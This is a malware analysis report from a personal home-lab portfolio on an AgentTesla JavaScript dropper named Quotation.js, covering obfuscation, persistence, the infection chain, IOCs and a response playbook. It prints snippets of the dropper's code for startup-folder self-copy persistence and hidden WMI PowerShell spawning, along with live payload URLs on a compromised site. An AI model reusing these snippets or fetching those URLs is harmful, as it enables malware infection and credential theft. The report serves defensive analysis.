

CASE-005

AgentTesla JavaScript Dropper — Malware Analysis

Technical Security Report | Static & Dynamic Analysis

Analyst	Nwodu Robert	Case ID	CASE-005
Date	July 13, 2026	Classification	Confidential
Environment	REMnux Noble (Ubuntu 24.04) — VirtualBox	Status	Completed
Tools Used	REMnux · Hybrid Analysis · VirusTotal	Severity	CRITICAL
Malware Family	AgentTesla (Negasteal) / JS:Trojan.Cryxos	Sample	Quotation.js

1. EXECUTIVE SUMMARY

This report documents the static and dynamic analysis of a malicious JavaScript dropper (Quotation.js) identified as a delivery mechanism for the AgentTesla infostealer family. The sample was sourced from MalwareBazaar and analysed in a controlled, isolated environment using REMnux, Hybrid Analysis (CrowdStrike Falcon Sandbox), and VirusTotal.

The sample employs heavy obfuscation (65,573 lines of junk code) to evade static detection, uses Windows Management Instrumentation (WMI) to silently execute a PowerShell script, achieves persistence via the Windows Startup folder, and downloads a disguised payload from a compromised Peruvian web server (magsa.com.pe). VirusTotal flagged the sample at 31/60 engines with a Threat Score of 100/100 on Hybrid Analysis.

OVERALL RISK RATING

CRITICAL — Active infostealer delivering credential harvester; evades majority of AV engines; achieves persistence and exfiltrates credentials silently.

2. SAMPLE INFORMATION

Field	Value
File Name	Quotation.js
File Type	JavaScript (Unicode text, UTF-8, Windows CRLF)
File Size	1.57 MB (1,647 KB)
SHA256	856e540dd3765d8e1129070615d6104388a4f8c34179b520acfd87d9efa56643
Line Count	65,573 Word Count: 157,453
Source	MalwareBazaar (bazaar.abuse.ch)
Malware Family	AgentTesla / Negasteal / JS:Trojan.Cryxos
First Seen	2026-07-13

Social Engineering Note: The file is named Quotation.js to impersonate a legitimate business quotation document — a common lure used in phishing campaigns targeting businesses. This directly exploits user trust in expected business communications.

3. ANALYSIS ENVIRONMENT

Component	Details
-----------	---------

Analysis VM	REMnux Noble (Ubuntu 24.04 LTS) on VirtualBox
RAM	2GB (reduced from default 4GB to preserve host resources)
Network Adapter	Host-only (isolated — no internet access)
Shared Clipboard / Drag-Drop	Disabled (prevents data leakage between host and VM)
Snapshot	Clean baseline snapshot taken before analysis
Sample Transfer	Python HTTP server on isolated host-only network
Dynamic Sandbox	Hybrid Analysis — CrowdStrike Falcon Sandbox (Windows 10 64-bit)
Multi-Engine Detection	VirusTotal — CAPE Sandbox, Yomi Hunter, Zenbox

4. STATIC ANALYSIS

4.1 File Identification & Metadata

The file command confirmed the sample as a Windows-created JavaScript text file: Unicode text, UTF-8 text, with CRLF line terminators. ExifTool corroborated this with 65,573 lines and 157,453 words — an unusually large file size for a JS file, immediately suggesting heavy obfuscation or junk code padding.

4.2 Obfuscation Technique — Junk Code Padding (T1027)

The malware author employed heavy junk code obfuscation: 65,573 lines of meaningless, repetitive switch(1)/case 1 blocks that accumulate empty strings into a 'windling' variable with no functional purpose. This technique serves three purposes:

- Buries real malicious code within thousands of lines of meaningless junk
- Forces human analysts to spend excessive time manually searching through noise
- Exploits sandbox timeouts — sandboxes that hit time limits abandon analysis before reaching the real payload

Representative junk code block:

```
switch (1) { case 1: this.windling = this.windling + ""; break; }
```

4.3 Malicious Code Discovery — Targeted grep Analysis

Using targeted grep commands to cut through the obfuscation, the following critical code sections were identified:

File System and Shell Access via ActiveX:

```
var sonorouslyooo = new ActiveXObject("Scripting.FileSystemObject"); var gallanilllll = new ActiveXObject("WScript.Shell"); var deboard = WScript.ScriptFullName;
```

Persistence — Startup Folder Self-Copy (T1547.001):

```
var startupe = gallanilllll.SpecialFolders("Startup"); var untidy = startupe + "\\\" + sonorouslyooo.GetFileName(deboard); if (deboard.toLowerCase() !== untidy.toLowerCase()) { if (!sonorouslyooo.FileExists(untidy)) { sonorouslyooo.CopyFile(deboard, untidy); } }
```

The script copies itself to the Windows Startup folder if not already present — ensuring execution on every system boot without registry modification.

WMI Silent Process Creation (T1047 + T1564.003):

```
var uralitize = oxaphosphines.SpawnInstance_(); uralitize.ShowWindow = 0; // Hidden window — no visible console var lipochromoid = bumbazes.Create(pentoxazone, null, uralitize, pinchbeck);
```

WMI is used to spawn PowerShell with ShowWindow = 0, ensuring no visible window appears during execution. The decoded PowerShell payload is stored in \$env:interossicular to further evade detection.

4.4 C2 URL Extraction via Base64 Decoding (T1140)

The C2 URL was Base64-encoded within the script. Extracted and decoded using grep targeting the known UTF-16LE encoding prefix for 'https':

```
grep -o "aAB0AHQAcABz[^\"]*" Quotation.js | head -1 | base64 -d
```

Decoded C2 URL:

```
https://magsa.com.pe/sorma/MSI PRO.png
```

The payload is disguised with a .png extension to masquerade as an image file while actually containing the AgentTesla executable — MITRE ATT&CK T1036 (Masquerading).

5. DYNAMIC ANALYSIS

5.1 Hybrid Analysis — CrowdStrike Falcon Sandbox

Field	Value
Environment	Windows 10 64-bit
Threat Score	100 / 100
Verdict	Malicious
Classification	JS:Trojan.Cryxos / Trojan.Cryxos.JS
AV Detection Rate	11% (obfuscation highly effective against AV at sandbox time)
MITRE ATT&CK Indicators	222 mapped indicators

Risk Assessment Highlights:

- Persistence: Creates new processes, writes data to remote process
- Fingerprint: Attempts to identify external IP address via ip-api.com
- Evasive: Marks file for deletion (self-cleanup after execution)
- Exploit: Contains escaped byte string (obfuscated shellcode/payload)
- Network Behaviour: Contacts 2 domains and 2 hosts
- Behaviour Tags: calls-wmi, checks-network-adapters, idle, long-sleeps, macro-powershell, obfuscated, persistence

Network Activity Observed:

Domain	IP Address	Port	Process
ip-api.com	208.95.112.1	80/TCP	caspol.exe (PID: 3760)
magsa.com.pe	192.185.37.239	443/TCP	powershell.exe (PID: 2008)

Note on caspol.exe: The use of caspol.exe (Code Access Security Policy tool — a legitimate Windows binary) to contact ip-api.com is a Living-off-the-Land Binary (LOLBin) technique (MITRE ATT&CK T1218). The malware checks the victim's external IP and hosting status before proceeding with payload delivery.

5.2 VirusTotal — Multi-Engine & Multi-Sandbox Analysis

Field	Value
Detection Rate	31 / 60 engines
Popular Threat Label	trojan.cryxos / negasteal
Threat Categories	trojan, downloader
Family Labels	cryxos, negasteal, yaggmz
Community Score	-11 (malicious consensus)
Sandboxes	CAPE Sandbox, Yomi Hunter, Zenbox — CAPE & Yomi Hunter flagged MALWARE

Selected AV Vendor Detections:

Vendor	Detection Name
BitDefender	JS:Trojan.Cryxos.16417
ESET-NOD32	JS/TrojanDownloader.Agent.AENF Trojan
TrendMicro	TrojanSpy.JS.NEGASTEAL.YXGGMZ
Microsoft	TrojanWin32/RavartarInfn
Kaspersky	HEUR:Trojan.Script.Generic
McAfee Scanner	Trojan.Script/Worms.JE11

Symantec	JS:Downloader:gen:195
----------	-----------------------

HTTP Requests Observed (Dynamic):

```
GET http://ip-api.com/line/?fields=hosting GET https://magsa.com.pe/sorma/MSI_PRO.png GET https://magsa.com.pe/sorma/img_162829.png
```

Key Finding: Dynamic analysis revealed a SECOND payload URL (img_162829.png) not identified during static analysis — demonstrating the critical value of combining both static and dynamic analysis methods. The malware implements staged infection with multiple payload fallback URLs.

Crowdsourced Sigma Rule Matches:

Sigma Rules (Critical/High)

- Drops script at startup location (CRITICAL)
- Suspicious Startup Folder Persistence (HIGH)
- WScript or CScript Dropper (HIGH)
- WmiPrvSE Spawned PowerShell (HIGH)
- Suspicious DNS Query for IP Lookup (MEDIUM)

IDS Rules (Suricata/Snort)

- ET MALWARE Common Stealer Behavior (HIGH)
- ET INFO External IP Lookup Domain in DNS Lookup (MEDIUM)
- ET POLICY External IP Lookup ip-api.com (MEDIUM)

6. ATTACK CHAIN

Step	Phase	Description
1	Phishing Delivery	Victim receives email with Quotation.js attachment disguised as a business quotation (T1566.001, T1204.002)
2	Initial Execution	Victim opens JS file — WScript.exe executes Quotation.js (T1059.007)
3	Persistence	Script copies itself to Startup folder for boot persistence (T1547.001)
4	Obfuscation Bypass	65K lines of junk code processed; real payload decoded from Base64 array (T1027, T1140)
5	WMI Execution	PowerShell stored in \$env:interossicular; WMI spawns hidden PowerShell (ShowWindow=0) (T1047, T1564.003)
6	Victim Recon	caspol.exe (LOLBin) contacts ip-api.com to check external IP and hosting status (T1218, T1016)
7	Payload Download	PowerShell downloads AgentTesla from magsa.com.pe disguised as .png files (T1105, T1071.001, T1036)
8	Credential Theft	AgentTesla harvests browser, email, FTP/VPN credentials and exfiltrates to C2 (T1003, T1555, T1048.003)
9	Self-Cleanup	Dropper marks itself for deletion after successful payload delivery (T1070.004)

7. INDICATORS OF COMPROMISE (IOCs)

File Indicators	
Type	Value
File Name	Quotation.js
SHA256	856e540dd3765d8e1129070615d6104388a4f8c34179b520acfd87d9efa56643
File Type	JavaScript
File Size	1.57 MB

Network Indicators	
Type	Value
C2 Domain	magsa.com.pe (compromised Peruvian website)
C2 IP	192.185.37.239
Payload URL 1	https://magsa.com.pe/sorma/MSI_PRO.png
Payload URL 2	https://magsa.com.pe/sorma/img_162829.png
Geolocation URL	http://ip-api.com/line/?fields=hosting
JA3 Fingerprint	3b5074b1b6d033e5620f69f8f700ff0e
TLS SNI	magsa.com.pe

Host Indicators	
Type	Value
Persistence Location	%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
Dropped Files	2 files (OTHER type), 1 TEXT file
Environment Variable	\$env:interossicular (stores obfuscated PowerShell payload)
LOLBin Abused	caspol.exe (geolocation check via ip-api.com)
Process Anomaly	WmiPrvSE.exe → powershell.exe (suspicious parent-child relationship)

8. MITRE ATT&CK MAPPING

Tactic	Technique ID	Technique Name	Evidence
Initial Access	T1566.001	Phishing: Spearphishing Attachment	JS file disguised as business Quotation
Execution	T1059.007	JavaScript	WScript executes Quotation.js
Execution	T1059.001	PowerShell	WMI spawns hidden PowerShell
Execution	T1047	Windows Management Instrumentation	WMI used for silent process creation
Execution	T1204.002	Malicious File	User opens JS email attachment
Execution	T1218	System Binary Proxy Execution	caspol.exe used for geolocation check (LOLBin)
Persistence	T1547.001	Registry Run Keys / Startup Folder	Script copies itself to Startup folder
Defense Evasion	T1027	Obfuscated Files or Information	65,573 lines of junk switch/case code
Defense Evasion	T1140	Deobfuscate/Decode Files or Information	Base64-encoded C2 URL decoded at runtime
Defense Evasion	T1564.003	Hidden Window	ShowWindow = 0 during PowerShell execution
Defense Evasion	T1036	Masquerading	Payload disguised as .png image files
Defense Evasion	T1562.001	Disable or Modify Tools	AMSI bypass attempted
Defense Evasion	T1497	Virtualization/Sandbox Evasion	API hammering, long sleeps, system checks
Defense Evasion	T1070.004	File Deletion	Marks dropper for deletion after execution
Discovery	T1016	System Network Configuration Discovery	Queries ip-api.com for external IP/hosting status
Discovery	T1082	System Information Discovery	Enumerates OS, hardware, locale
Discovery	T1057	Process Discovery	Enumerates running processes
Credential Access	T1003	OS Credential Dumping	AgentTesla credential harvesting
Credential Access	T1555	Credentials from Password Stores	Browser/email/FTP credential theft
Command & Control	T1071.001	Web Protocols	HTTPS C2 communication to magsa.com.pe
Command & Control	T1573	Encrypted Channel	TLS encrypted C2 (JA3: 3b5074b1b6d033e5620f69f8f700ff0e)
Command & Control	T1105	Ingress Tool Transfer	Downloads AgentTesla from magsa.com.pe
Exfiltration	T1048.003	Exfiltration Over Unencrypted Protocol	Credentials transmitted to C2

9. PICERL INCIDENT RESPONSE PLAYBOOK

P	Preparation	Maintain updated endpoint detection rules for WScript/CScript execution of JS files from email. Deploy email gateway rules to block/sandbox .js attachments. Enable PowerShell Script Block Logging and Module Logging. Monitor Startup folder for unauthorized file creation. Add caspol.exe outbound connections to watchlist. Block known JA3 fingerprint 3b5074b1b6d033e5620f69f8f700ff0e.
I	Identification	Alert triggers: JS file executed via WScript from temp/download directory; PowerShell spawned as child of WmiPrvSE.exe; caspol.exe making outbound DNS/HTTP requests; DNS query to ip-api.com from non-browser process; HTTPS connection to magsa.com.pe or IP 192.185.37.239; file written to Windows Startup folder by script engine.
C	Containment	Isolate affected endpoint from network immediately. Block C2 domain magsa.com.pe and IP 192.185.37.239 at firewall/proxy. Block payload URLs at web gateway. Disable WScript/CScript on endpoints that do not require it via GPO. Preserve memory dump and disk image for forensic analysis.
E	Eradication	Remove Quotation.js from Startup folder and all discovered locations. Remove files dropped during execution. Scan for AgentTesla persistence (registry, scheduled tasks). Reset all credentials: browser passwords, email/FTP/VPN credentials. Clear malicious environment variable (\$env:interossicular).
R	Recovery	Restore affected systems from clean backup if credential theft confirmed. Re-image endpoint if full compromise suspected. Force password resets for all accounts accessible from affected system. Monitor network traffic for continued C2 communication post-cleanup.
L	Lessons Learned	Review email gateway configuration for JS attachment handling. Assess PowerShell Script Block Logging coverage. Evaluate EDR coverage for WMI-based execution and LOLBin abuse. Update detection rules based on IOCs. Train users on recognising malicious email attachments disguised as business documents.

10. KEY FINDINGS SUMMARY

#	Finding	Detail
1	Social Engineering	File named Quotation.js to impersonate a legitimate business document — exploits trust in routine business communications
2	Heavy Obfuscation	65,573 lines of junk switch/case code used to evade static analysis, sandbox timeouts, and AV detection
3	Multi-Stage Delivery	JS dropper → WMI-spawned PowerShell → AgentTesla payload download and execution
4	Sandbox Evasion	API hammering, long sleeps, system enumeration checks, and AMSI bypass techniques confirmed
5	Persistence	Startup folder self-copy ensures execution on every boot without touching the registry
6	C2 Infrastructure	Compromised legitimate Peruvian website (magsa.com.pe) used to host payload — evades domain reputation filtering
7	Payload Masquerading	Executable disguised as .png image files (MSI_PRO.png, img_162829.png) to bypass proxy content inspection
8	Victim Recon	External IP geolocation via caspol.exe (LOLBin) performed before payload delivery
9	Low AV Detection	Only 11% detection rate in Hybrid Analysis; 31/60 on VirusTotal
10	Multi-Payload	Two payload URLs discovered during dynamic analysis — staged infection with fallback delivery mechanism

11. REFERENCES

- [1] MITRE ATT&CK — T1566.001 Spearphishing Attachment: <https://attack.mitre.org/techniques/T1566/001/>
- [2] MITRE ATT&CK — T1059.007 JavaScript: <https://attack.mitre.org/techniques/T1059/007/>
- [3] MITRE ATT&CK — T1047 Windows Management Instrumentation: <https://attack.mitre.org/techniques/T1047/>
- [4] MITRE ATT&CK — T1547.001 Startup Folder Persistence: <https://attack.mitre.org/techniques/T1547/001/>
- [5] MITRE ATT&CK — T1027 Obfuscated Files or Information: <https://attack.mitre.org/techniques/T1027/>

- [6] MITRE ATT&CK — T1218 System Binary Proxy Execution: <https://attack.mitre.org/techniques/T1218/>
- [7] MalwareBazaar — Sample Source: <https://bazaar.abuse.ch/>
- [8] Hybrid Analysis (CrowdStrike Falcon Sandbox): <https://www.hybrid-analysis.com/>
- [9] VirusTotal: <https://www.virustotal.com/>
- [10] AgentTesla / Negasteal — MITRE ATT&CK Software S0331
- [11] NIST SP 800-61 Rev 2 — Computer Security Incident Handling Guide

This report was produced as part of a home lab malware analysis portfolio. All analysis was conducted in an isolated environment. Full lab files, screenshots, and playbooks available at: github.com/Robertnile